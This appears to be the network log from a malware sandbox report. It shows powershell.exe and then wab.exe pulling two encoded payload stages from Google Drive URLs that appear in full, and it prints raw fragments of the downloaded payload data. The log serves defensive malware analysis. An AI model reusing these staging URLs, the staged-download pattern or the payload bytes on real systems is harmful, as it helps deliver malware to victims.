Jul 3, 2024 08:49:04.984652042 CEST	55789	53	192.168.2.6	1.1.1.1
Jul 3, 2024 08:49:04.993289948 CEST	53	55789	1.1.1.1	192.168.2.6
Jul 3, 2024 08:49:06.044496059 CEST	56557	53	192.168.2.6	1.1.1.1
Jul 3, 2024 08:49:06.051651001 CEST	53	56557	1.1.1.1	192.168.2.6
Jul 3, 2024 08:49:48.841387033 CEST	57867	53	192.168.2.6	1.1.1.1
Jul 3, 2024 08:49:48.850248098 CEST	53	57867	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 08:49:04.984652042 CEST	192.168.2.6	1.1.1.1	0x5998	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:49:06.044496059 CEST	192.168.2.6	1.1.1.1	0xe512	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:49:48.841387033 CEST	192.168.2.6	1.1.1.1	0x8d1a	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 3, 2024 08:49:04.993289948 CEST	1.1.1.1	192.168.2.6	0x5998	No error (0)	drive.google.com	142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:49:06.051651001 CEST	1.1.1.1	192.168.2.6	0xe512	No error (0)	drive.usercontent.google.com	142.250.184.225	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:49:48.850248098 CEST	1.1.1.1	192.168.2.6	0x8d1a	No error (0)	drive.usercontent.google.com	142.250.186.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	142.250.186.110	443	4416	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:49:05 UTC	215	OUT	GET /uc?export=download&id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-07-03 06:49:06 UTC	1598	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 06:49:05 GMT Location: https://drive.usercontent.google.com/download?id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-nmBjSZmlbd0yKq8zvPToiQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49722	142.250.184.225	443	4416	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:49:06 UTC	233	OUT	GET /download?id=1-z0l_0MGUlcO-5eOlZqtSul5uzgPXph_&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-03 06:49:07 UTC	4838	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="Electropsychrometer184.hhk" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 454728 Last-Modified: Tue, 02 Jul 2024 22:08:18 GMT X-GUploader-UploadID: ACJd0Npizs9HJz_txNxmjuwFSLcPxjVuJpiXVGSM_J4kgTwnCqJsmjzHvygeUscGKNdIw83pC3kMFkHuGg Date: Wed, 03 Jul 2024 06:49:07 GMT Expires: Wed, 03 Jul 2024 06:49:07 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=LJxsOw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 06:49:07 UTC	4838	IN	Data Raw: 36 77 4c 68 71 4f 73 43 46 33 32 37 53 2b 63 5a 41 48 45 42 6d 2b 73 43 30 65 41 44 58 43 51 45 36 77 49 47 73 58 45 42 6d 37 6d 45 63 41 4a 77 36 77 4c 48 69 4f 73 43 7a 6a 69 42 38 57 6e 77 70 64 62 72 41 72 36 78 63 51 47 62 67 63 45 54 66 31 68 5a 63 51 47 62 63 51 47 62 36 77 4a 32 6c 48 45 42 6d 37 71 7a 51 66 49 37 36 77 4c 75 7a 75 73 43 46 76 78 78 41 5a 74 78 41 5a 73 78 79 75 73 43 61 68 4c 72 41 70 30 6f 69 52 51 4c 36 77 4b 67 6d 58 45 42 6d 39 48 69 63 51 47 62 63 51 47 62 67 38 45 45 36 77 4c 76 4c 2b 73 43 73 77 4b 42 2b 58 55 4c 73 77 56 38 79 33 45 42 6d 2b 73 43 76 45 36 4c 52 43 51 45 36 77 4c 59 69 48 45 42 6d 34 6e 44 36 77 4a 36 4c 6e 45 42 6d 34 48 44 6d 44 56 55 41 2b 73 43 39 47 7a 72 41 76 51 59 75 68 4c 71 37 79 37 72 41 74 77 Data Ascii: 6wLhqOsCF327S+cZAHEBm+sC0eADXCQE6wIGsXEBm7mEcAJw6wLHiOsCzjiB8WnwpdbrAr6xcQGbgcETf1hZcQGbcQGb6wJ2lHEBm7qzQfI76wLuzusCFvxxAZtxAZsxyusCahLrAp0oiRQL6wKgmXEBm9HicQGbcQGbg8EE6wLvL+sCswKB+XULswV8y3EBm+sCvE6LRCQE6wLYiHEBm4nD6wJ6LnEBm4HDmDVUA+sC9GzrAvQYuhLq7y7rAtw
2024-07-03 06:49:07 UTC	4838	IN	Data Raw: 44 46 67 47 64 4b 2f 63 7a 56 4e 58 30 75 75 37 44 46 62 57 59 6a 43 4d 51 74 53 62 6b 6f 77 56 2b 37 70 48 39 38 45 54 51 43 77 55 4f 49 4b 56 78 4f 7a 4f 7a 69 4f 32 51 74 64 2b 38 33 4a 4c 53 76 62 56 39 50 56 54 51 73 74 58 36 70 5a 68 55 66 45 36 4c 47 77 43 76 7a 41 4c 4b 4b 37 72 5a 68 34 2b 2f 4c 70 4d 47 4e 45 4d 7a 56 6f 6e 71 39 42 46 4b 57 35 77 46 30 75 6f 35 53 49 54 45 7a 48 35 6e 4b 75 2b 54 58 73 4d 47 50 64 67 64 4f 7a 4e 45 2f 73 78 79 6f 73 4d 47 4f 52 6a 35 4d 7a 4d 6e 46 42 49 78 65 59 71 2f 45 77 44 41 67 30 42 72 34 51 6b 63 64 69 59 41 39 78 2f 45 35 74 30 55 30 75 45 56 2b 52 7a 72 59 5a 6f 63 4d 6f 35 77 4b 51 4c 64 30 64 35 38 4b 54 2f 39 51 6f 4e 36 49 39 55 4b 51 44 66 70 31 52 62 54 72 46 6b 55 49 2b 52 64 7a 69 59 37 72 62 Data Ascii: DFgGdK/czVNX0uu7DFbWYjCMQtSbkowV+7pH98ETQCwUOIKVxOzOziO2Qtd+83JLSvbV9PVTQstX6pZhUfE6LGwCvzALKK7rZh4+/LpMGNEMzVonq9BFKW5wF0uo5SITEzH5nKu+TXsMGPdgdOzNE/sxyosMGORj5MzMnFBIxeYq/EwDAg0Br4QkcdiYA9x/E5t0U0uEV+RzrYZocMo5wKQLd0d58KT/9QoN6I9UKQDfp1RbTrFkUI+RdziY7rb
2024-07-03 06:49:07 UTC	186	IN	Data Raw: 55 45 51 6f 41 5a 41 73 43 55 4e 45 58 79 2b 71 30 50 6d 79 71 55 6a 48 71 4b 6d 54 6e 4e 63 6b 37 4d 36 55 77 6e 41 79 6a 52 4f 50 38 6f 70 6e 4b 67 31 38 75 4b 34 4b 49 54 45 7a 48 35 6d 43 30 71 48 48 73 4d 46 53 66 53 5a 37 7a 4e 46 6d 71 4e 33 68 73 4d 48 4a 79 53 6f 71 7a 4e 47 55 4f 54 31 55 75 43 48 44 6e 6c 2f 4d 37 73 72 53 68 57 6f 67 53 63 51 51 56 66 34 65 48 30 6d 4f 57 34 78 51 64 31 44 2b 61 6c 30 32 6b 7a 32 68 7a 68 65 51 64 48 52 36 6d 42 4b 6a 46 35 68 62 30 37 51 4a 59 6f 67 69 70 4a 37 47 7a 4e 42 6d 72 41 47 69 73 4d 44 44 65 31 Data Ascii: UEQoAZAsCUNEXy+q0PmyqUjHqKmTnNck7M6UwnAyjROP8opnKg18uK4KITEzH5mC0qHHsMFSfSZ7zNFmqN3hsMHJySoqzNGUOT1UuCHDnl/M7srShWogScQQVf4eH0mOW4xQd1D+al02kz2hzheQdHR6mBKjF5hb07QJYogipJ7GzNBmrAGisMDDe1
2024-07-03 06:49:07 UTC	1321	IN	Data Raw: 61 52 7a 4e 44 51 59 73 7a 6d 73 4d 41 61 4d 7a 51 67 48 4c 2b 34 30 6b 51 36 72 4c 65 58 57 54 39 6a 46 6d 61 6f 5a 6d 6d 31 38 46 78 47 64 54 6b 54 49 48 41 70 69 6b 4c 57 37 52 38 41 64 70 6b 51 69 50 75 71 61 62 64 53 6b 31 77 70 43 70 32 74 51 59 6c 65 57 74 35 66 62 33 57 73 6d 4c 48 4b 47 6e 70 58 74 6f 78 34 73 4d 43 58 2f 4d 39 6d 7a 4e 42 6d 37 51 38 36 50 6a 4b 46 62 44 45 7a 54 53 4d 78 4d 30 30 6a 4d 54 4e 4e 57 63 70 36 6a 64 46 78 33 39 2b 31 5a 4f 33 70 43 57 6a 42 46 2b 57 47 66 6b 44 70 76 66 33 4d 34 43 67 74 39 37 70 69 75 4e 42 6b 4d 7a 4e 4e 63 59 75 67 51 4d 6f 6f 73 72 2b 64 61 72 58 6a 6f 76 4e 45 63 4c 4a 35 75 6b 38 63 41 79 50 6a 43 62 34 58 62 41 61 44 58 43 6b 79 64 71 50 38 4d 33 73 4c 56 2b 63 49 38 71 62 50 61 31 75 4b 69 Data Ascii: aRzNDQYszmsMAaMzQgHL+40kQ6rLeXWT9jFmaoZmm18FxGdTkTIHApikLW7R8AdpkQiPuqabdSk1wpCp2tQYleWt5fb3WsmLHKGnpXtox4sMCX/M9mzNBm7Q86PjKFbDEzTSMxM00jMTNNWcp6jdFx39+1ZO3pCWjBF+WGfkDpvf3M4Cgt97piuNBkMzNNcYugQMoosr+darXjovNEcLJ5uk8cAyPjCb4XbAaDXCkydqP8M3sLV+cI8qbPa1uKi
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 73 57 6d 7a 4d 46 78 56 76 67 63 55 59 50 45 77 77 64 6a 4e 4e 49 7a 45 7a 54 53 4d 78 4d 30 30 6a 57 74 4c 66 4d 44 2f 4b 49 6f 30 55 72 44 62 50 42 54 58 4b 4b 72 37 38 72 69 37 67 39 4c 43 6e 33 6a 43 4b 6d 4c 75 71 35 56 57 56 6f 7a 6c 4c 57 78 53 6f 2b 57 4b 49 51 36 7a 6a 39 4d 7a 51 35 67 46 6e 5a 62 44 59 32 70 54 4a 73 73 51 34 32 5a 65 6c 55 58 6b 4f 39 4c 7a 48 78 6c 36 65 59 30 70 77 53 46 63 48 54 45 31 6c 43 4a 51 6d 6d 65 37 4a 74 73 75 71 47 5a 6e 6b 67 30 78 34 7a 6f 59 4e 49 6a 45 7a 76 69 7a 32 42 55 30 6a 4d 54 4e 4e 49 7a 45 7a 54 53 4d 78 58 52 39 2b 35 77 47 31 68 4c 4a 61 5a 44 47 4a 65 51 39 78 7a 6e 49 59 4e 6a 66 41 65 4b 71 48 51 55 33 68 42 73 50 6d 53 6d 6f 53 48 33 72 5a 47 64 41 6e 4d 66 2f 49 4c 48 53 32 51 5a 44 52 33 4f Data Ascii: sWmzMFxVvgcUYPEwwdjNNIzEzTSMxM00jWtLfMD/KIo0UrDbPBTXKKr78ri7g9LCn3jCKmLuq5VWVozlLWxSo+WKIQ6zj9MzQ5gFnZbDY2pTJssQ42ZelUXkO9LzHxl6eY0pwSFcHTE1lCJQmme7JtsuqGZnkg0x4zoYNIjEzviz2BU0jMTNNIzEzTSMxXR9+5wG1hLJaZDGJeQ9xznIYNjfAeKqHQU3hBsPmSmoSH3rZGdAnMf/ILHS2QZDR3O
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 30 30 6a 4d 54 4e 4e 49 7a 46 4f 31 34 35 4f 58 55 58 54 65 76 68 6f 33 5a 59 58 65 38 2f 75 77 52 43 6f 66 43 76 33 70 73 35 32 76 6e 47 4c 6f 4b 33 30 4e 37 4b 50 42 4c 4f 6d 70 71 4c 44 56 74 6e 6e 45 37 4b 50 7a 33 74 6c 59 71 6f 37 68 61 67 6c 52 4f 53 39 47 44 44 4d 6e 6c 5a 44 39 54 68 63 49 4a 74 54 63 65 69 58 70 65 2b 30 56 65 72 75 73 73 39 44 61 68 59 63 72 72 47 70 34 78 41 56 61 39 74 6d 52 54 55 7a 78 4b 59 4e 4d 6b 30 6a 59 59 75 5a 79 6c 41 33 65 47 6e 62 34 43 49 6d 55 38 34 41 74 32 43 76 78 4d 49 77 4d 74 41 62 38 6b 56 50 34 38 74 76 64 6e 65 6f 62 4b 76 4a 66 62 36 41 6a 6e 41 35 57 58 45 38 55 49 6e 7a 52 76 4f 4b 6e 6a 36 61 7a 64 6f 58 61 73 78 65 54 55 65 4e 49 7a 45 38 79 5a 4e 4c 4d 30 31 37 75 6e 35 52 63 49 71 50 61 4b 41 5a Data Ascii: 00jMTNNIzFO145OXUXTevho3ZYXe8/uwRCofCv3ps52vnGLoK30N7KPBLOmpqLDVtnnE7KPz3tlYqo7haglROS9GDDMnlZD9ThcIJtTceiXpe+0Veruss9DahYcrrGp4xAVa9tmRTUzxKYNMk0jYYuZylA3eGnb4CImU84At2CvxMIwMtAb8kVP48tvdneobKvJfb6AjnA5WXE8UInzRvOKnj6azdoXasxeTUeNIzE8yZNLM017un5RcIqPaKAZ
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 4a 69 57 53 2f 4e 32 7a 47 6c 6e 41 78 54 53 4d 2b 4d 6c 4d 52 4d 54 4e 4e 49 7a 45 7a 54 53 4d 78 4d 30 31 4e 73 44 34 54 67 4f 4a 66 52 51 77 34 31 2b 71 46 6c 66 4e 51 57 61 37 48 57 69 77 39 52 75 49 79 70 6c 35 4f 2f 36 50 33 58 53 6d 37 65 43 56 78 30 43 36 64 63 49 6f 50 72 68 62 42 73 71 61 51 41 48 4f 39 6f 73 4a 53 6b 79 52 73 73 72 36 38 42 47 38 78 6f 76 4b 67 2b 6e 49 51 75 6e 5a 6a 63 45 47 77 41 37 67 47 38 55 47 7a 78 5a 2f 6d 52 6e 30 4d 77 75 58 73 45 46 38 59 59 52 62 4c 38 71 50 4d 4c 35 38 66 49 5a 52 53 70 4d 62 6e 33 30 56 47 74 6d 71 79 65 51 65 49 56 2f 78 55 2f 5a 61 77 4a 4c 6c 75 76 51 4f 55 34 61 62 6e 37 75 42 72 56 45 4b 39 6c 6e 72 36 76 67 6a 42 5a 69 31 76 56 65 47 5a 2b 42 37 78 74 6c 6c 66 59 36 79 75 37 6f 76 6f 5a 75 Data Ascii: JiWS/N2zGlnAxTSM+MlMRMTNNIzEzTSMxM01NsD4TgOJfRQw41+qFlfNQWa7HWiw9RuIypl5O/6P3XSm7eCVx0C6dcIoPrhbBsqaQAHO9osJSkyRssr68BG8xovKg+nIQunZjcEGwA7gG8UGzxZ/mRn0MwuXsEF8YYRbL8qPML58fIZRSpMbn30VGtmqyeQeIV/xU/ZawJLluvQOU4abn7uBrVEK9lnr6vgjBZi1vVeGZ+B7xtllfY6yu7ovoZu
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 71 6c 39 37 33 74 56 71 2f 38 6e 6f 57 6a 62 45 6e 30 31 4d 78 71 63 4e 75 76 67 31 72 44 30 54 41 7a 43 39 4d 7a 55 6f 32 55 49 42 62 44 45 35 68 49 72 49 63 7a 6b 6b 32 78 50 56 62 67 73 52 54 4e 4c 63 61 30 52 58 6b 44 55 62 69 30 71 66 6d 72 5a 4c 48 34 6f 4a 32 77 61 6e 4c 43 49 51 76 57 77 78 4a 74 53 39 47 76 4d 7a 4b 78 38 75 61 2b 77 39 43 61 2f 72 68 7a 4d 7a 49 4e 57 4f 42 4b 34 4c 50 69 6f 44 74 5a 52 37 51 6c 42 65 6e 38 44 39 31 74 65 61 67 6c 4f 32 50 32 44 52 41 4a 71 67 4e 63 7a 45 51 7a 30 57 74 46 73 70 4c 63 30 4d 30 31 34 41 4f 45 61 6e 4e 50 74 6a 2b 6d 77 78 4c 53 65 52 56 66 4d 31 46 67 64 41 39 4f 77 39 48 38 69 4f 5a 4c 45 4c 47 50 77 58 55 47 62 6c 41 34 55 43 73 63 73 54 74 46 79 41 30 58 51 31 79 6e 6c 71 2b 70 50 37 72 50 36 Data Ascii: ql973tVq/8noWjbEn01MxqcNuvg1rD0TAzC9MzUo2UIBbDE5hIrIczkk2xPVbgsRTNLca0RXkDUbi0qfmrZLH4oJ2wanLCIQvWwxJtS9GvMzKx8ua+w9Ca/rhzMzINWOBK4LPioDtZR7QlBen8D91teaglO2P2DRAJqgNczEQz0WtFspLc0M014AOEanNPtj+mwxLSeRVfM1FgdA9Ow9H8iOZLELGPwXUGblA4UCscsTtFyA0XQ1ynlq+pP7rP6
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 71 48 7a 78 4a 73 6f 77 35 56 76 33 70 6f 76 41 41 74 6a 48 53 75 6b 53 56 63 54 63 46 6a 77 31 53 55 6f 2f 63 68 75 74 33 63 52 2f 64 63 34 4e 68 53 55 49 43 57 6d 31 54 65 6d 70 30 36 37 71 2b 62 43 45 78 4d 30 4b 75 67 6a 46 4e 49 37 69 2b 45 69 45 78 4d 34 47 6e 31 32 59 52 54 35 63 68 75 42 53 50 41 69 6d 6d 33 6e 43 66 52 72 71 64 58 6e 42 41 2f 39 69 2b 34 58 33 35 4a 38 47 4b 74 2b 44 4d 4d 73 7a 69 36 33 30 34 31 6a 34 31 56 4a 67 78 4d 30 30 6a 4d 54 4e 4e 49 7a 45 7a 54 55 68 4a 38 50 32 67 50 62 70 62 44 6e 71 46 73 58 2f 69 4e 66 59 72 65 69 57 56 53 32 56 77 36 6f 56 45 6f 47 79 43 51 49 6b 77 45 48 54 75 39 4a 6d 55 71 7a 6d 69 77 4c 41 39 55 55 35 56 51 75 51 44 4d 30 30 6a 4d 54 4e 4e 49 7a 45 7a 54 53 4e 4a 66 45 4c 54 52 2f 41 30 30 43 Data Ascii: qHzxJsow5Vv3povAAtjHSukSVcTcFjw1SUo/chut3cR/dc4NhSUICWm1Temp067q+bCExM0KugjFNI7i+EiExM4Gn12YRT5chuBSPAimm3nCfRrqdXnBA/9i+4X35J8GKt+DMMszi63041j41VJgxM00jMTNNIzEzTUhJ8P2gPbpbDnqFsX/iNfYreiWVS2Vw6oVEoGyCQIkwEHTu9JmUqzmiwLA9UU5VQuQDM00jMTNNIzEzTSNJfELTR/A00C
2024-07-03 06:49:07 UTC	1390	IN	Data Raw: 57 2b 79 69 73 62 45 33 45 65 69 33 6d 42 64 50 4d 4a 67 39 76 49 74 34 6b 57 69 38 68 32 51 71 76 43 79 76 76 6d 7a 76 34 47 69 77 67 4a 66 50 6d 69 79 76 6a 64 5a 2b 42 4a 7a 72 62 71 74 49 69 6d 75 79 65 42 43 4e 69 67 59 6e 6d 4d 6e 6e 55 63 38 31 41 66 32 53 41 6c 73 36 57 4c 2f 70 38 35 72 4b 78 72 68 61 4d 7a 6b 71 6a 68 52 78 47 61 34 38 47 30 7a 4d 30 32 71 70 4b 35 4d 49 7a 47 4a 57 62 4e 33 64 59 45 51 5a 76 41 4f 63 30 58 36 61 61 4b 6e 56 2f 67 2f 77 45 4d 66 57 4e 76 57 6b 45 59 6d 48 73 67 65 4f 4c 53 46 41 4e 2b 47 61 6d 56 4f 76 55 7a 41 7a 30 4d 59 67 31 78 53 7a 4e 47 75 6f 32 4c 7a 50 6a 4a 58 39 44 45 7a 54 53 4d 78 4d 30 30 6a 4d 54 4e 4e 59 66 69 48 36 34 71 46 37 69 64 33 71 51 46 79 34 68 7a 4d 7a 4e 46 53 72 6f 30 52 73 4d 47 30 Data Ascii: W+yisbE3Eei3mBdPMJg9vIt4kWi8h2QqvCyvvmzv4GiwgJfPmiyvjdZ+BJzrbqtIimuyeBCNigYnmMnnUc81Af2SAls6WL/p85rKxrhaMzkqjhRxGa48G0zM02qpK5MIzGJWbN3dYEQZvAOc0X6aaKnV/g/wEMfWNvWkEYmHsgeOLSFAN+GamVOvUzAz0MYg1xSzNGuo2LzPjJX9DEzTSMxM00jMTNNYfiH64qF7id3qQFy4hzMzNFSro0RsMG0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49726	142.250.186.110	443	2192	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:49:48 UTC	216	OUT	GET /uc?export=download&id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-07-03 06:49:48 UTC	1598	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 06:49:48 GMT Location: https://drive.usercontent.google.com/download?id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-Av1XltBwS93HvNxTHdAY_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49727	142.250.186.33	443	2192	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:49:49 UTC	258	OUT	GET /download?id=1_AnTSw4doBUNQkH5iTyWtjjkw3XU0WG6&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-03 06:49:50 UTC	4829	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="bSAhMUkSvI172.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 494656 Last-Modified: Tue, 02 Jul 2024 22:06:37 GMT X-GUploader-UploadID: ACJd0NrYNa7FmSiTvoqlMuTq6it6gV2e4XPZ6a8SRNS31xo3esnI0C9upO50CXpxzs8QDv7R0xZyvLC7OA Date: Wed, 03 Jul 2024 06:49:50 GMT Expires: Wed, 03 Jul 2024 06:49:50 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=e0ZBxw== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 06:49:50 UTC	4829	IN	Data Raw: 94 db 0e 5e 08 6a 86 80 30 e5 16 90 5d aa a9 58 9e 21 c8 59 c8 5d b4 9a e0 50 b6 be f9 23 c9 d7 25 c7 94 f7 c4 de 9d 3e 9e 48 ca c2 1a 6a d6 44 7e 66 b9 5e 97 28 4b 79 d0 f6 87 cc b1 38 d7 ce ed b4 46 1f e6 4c 1c a8 d6 12 0b b3 1c 2d df 00 67 67 72 92 f6 7c 33 c3 8d 89 19 32 54 d8 4d a8 74 75 75 bd 77 b3 9f 50 68 a1 7a 00 e3 d5 78 e4 d9 b4 0d b5 51 53 4c 41 0f 79 e2 cd b4 cf 82 fa 4d 09 36 09 2e e0 0f 6e a9 35 d9 ef 97 50 8f d5 48 14 fa ff 98 66 5e ef b0 17 c7 18 ae af 92 4f 43 37 97 d0 aa bf 4c f6 3d a8 f5 82 fc 8d cc 81 e3 49 9b 65 58 e6 77 87 9f 81 e4 70 32 9a d1 87 55 97 ea b9 bf a5 e1 d8 31 f8 47 1b 85 1d b6 77 3f cb ae b8 4f 8b fe c8 35 fe 51 35 67 19 55 3f ac 0d 8b f3 50 ba e4 3e fc 21 c0 fc 49 e0 a0 15 56 15 67 91 56 79 ad 8d 23 70 27 a3 85 a1 c9 Data Ascii: 